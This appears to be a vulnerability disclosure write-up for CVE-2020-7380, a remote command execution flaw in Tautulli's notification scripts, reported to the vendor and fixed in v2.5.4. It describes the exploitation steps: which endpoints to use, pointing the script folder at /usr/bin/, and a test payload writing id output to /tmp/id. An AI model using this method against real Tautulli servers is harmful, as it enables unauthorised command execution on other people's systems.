Tautulli Notification Arbitrary Remote Command Execution CVE-2020-7380

TL;DR

Tautulli for Plex is vulnerable to remote command execution attacks running under the context of the Tautulli process. By sending specially crafted HTTP requests, the application will allow a remote user to execute arbitrary commands. To complete the attack, you must have access to the UI of the application. The vulnerability impacts versions of Tautulli from 1.3.0 through 2.5.3.

CVE-2020-7380 has been assigned to the vulnerability, and an updated version of Tautulli has been released at tautulli.com.

Introduction

In my free time, I look for interesting devices and services by browsing Shodan’s previously searched for results. You know. What’s the flavor of the day? During one of these exploratory sessions, I came across the Tautulli service and it showed there were many public-facing instances of Tautulli.

The Tautulli website describes the software as “a 3rd party application that you can run alongside your Plex Media Server to monitor activity and track various statistics”. I was curious what it was all about, so I went to their site and looked around until something caught my attention.

Notification feature

Gazing my eyes upon this image, one word screamed out to me. Scripts! I pondered. What kind of scripts can I trigger? Console scripts? Some sort of proprietary scripts? At any rate, I was ready to find out if I could poke a stick at it and, who knows, maybe I’ll get lucky and find a shell. I explored the website until I found this help page, which describes configuring scripts for the notification feature.

Tautulli notification script settings

The application is allowing the user to run any existing file on the system which ends with .bat, .cmd, .exe, .php, .pl, .ps1, .py, .pyw, .rb, or .sh. This feature certainly looks to be risky, especially with so many public-facing instances. But is it vulnerable?

I downloaded the source and fired up a local instance of Plex and Tautulli. I browsed through the code and focused my attention on /plexpy/notifiers.py. After reviewing the imports, I saw the subprocess module and knew this was likely to be used to launch scripts. I performed a text search for subprocess and came across the following code.

Routine that executes notification scripts

After reviewing the code I could see there is no input validation or sanitization. The idea behind this feature is you select a directory that contains your notification scripts at which point you select a specific script from this directory. From an adversary perspective, this would only give you access to their notification scripts. What I’m after is command execution and with the lack of any validation, I should be good to go. Let’s fire up Burp Suite and see what I can do.

After playing around in the UI of Tautulli, I noticed there was a Test Notifications tab. This feature allows you to test a script and ensure all is working correctly. I thought this might be an excellent way to test out payloads without having to initiate an event within the Plex server.

Send test notification

To get started, let’s try to build a test notification and try to run arbitrary commands. Below, is a POST request to the set_notifier_config endpoint with mostly null values. I modified the request in an attempt to run arbitrary commands.

POST request to set_notifier_config

Now that I have the POST request, I created a payload that contains the arbitrary command I wish to execute bash -c ‘id>/tmp/id’. This command will direct the output of the id command to the file /tmp/id. Using Burp Suite, I URL encoded the command.

URL encoded payload

Then add the command to the POST request.

POST request to set_notifier_config

Well, let’s see if it worked.

Fail

Let’s take a look at the logs.

Tautulli logs

Okay. It encountered an error when trying to run our notification script. The error suggests I should set the script folder value before I can execute a command. I do this with a POST request to the set_notifier_config endpoint, and set the scripts_script_folder value to /usr/bin/ which contains the bash executable.

POST request to configure script folder value

With that done, I send another test notification.

Send test notification

The notification successfully queued. Let’s see if it worked.

Success

Success! I was able to execute an arbitrary command by sending a request to send_notification with the script I want to execute and any arguments to be passed to the script. If the server is configured per vendor instructions it will run at the user level but, there is nothing preventing the service from running with system or root privileges. After reviewing the logs, I could see that Tautulli accepted our arbitrary command.

Tautulli logs

Conclusion:
An arbitrary remote command execution attack can be carried out by remote unauthenticated users if Tautulli has been configured without authentication. If authentication is enabled in Tautulli, the user must have valid credentials to carry out the attack. This vulnerability impacts versions v1.3.0 through v2.5.3. The vendor was notified and an updated version (v2.5.4) of Tautulli was released on 07/31/2020 and can be downloaded at tautulli.com.

Metasploit Exploit Module